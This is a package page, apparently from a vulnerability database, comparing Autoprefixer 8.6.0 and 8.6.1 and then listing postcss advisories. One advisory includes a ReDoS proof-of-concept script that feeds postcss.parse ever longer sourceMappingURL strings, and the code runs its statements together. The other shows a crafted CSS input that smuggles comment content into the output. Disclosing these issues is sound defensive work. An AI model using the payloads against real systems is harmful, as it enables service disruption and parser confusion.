Autoprefixer is a widely-used PostCSS plugin that automatically adds vendor prefixes to CSS rules, ensuring compatibility across different browsers based on data from caniuse.com. Comparing versions 8.6.0 and 8.6.1 highlights subtle but important improvements for developers. Both versions rely on core dependencies like postcss, browserslist, num2fraction, normalize-range, and postcss-value-parser for efficient CSS parsing and prefixing. The key difference lies in the caniuse-lite dependency, which is updated from version 1.0.30000847 in 8.6.0 to 1.0.30000850 in 8.6.1. This seemingly minor change signifies an update to the Can I Use database, meaning version 8.6.1 incorporates the latest browser compatibility data. Consequently, developers using Autoprefixer 8.6.1 benefit from more accurate and up-to-date prefixing, potentially resolving compatibility issues with newer browser versions or recently implemented CSS features. While the file count remains consistent at 74, the unpacked size increases marginally from 337880 to 338237, likely due to the expanded browser support data. The release date difference also indicates a rapid iterative process, with 8.6.1 released just a few days after 8.6.0, suggesting a quick response to new browser updates or bug fixes related to browser compatibility. Therefore, developers are encouraged to use the latest version for optimal browser support.
All the vulnerabilities related to the version 8.6.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.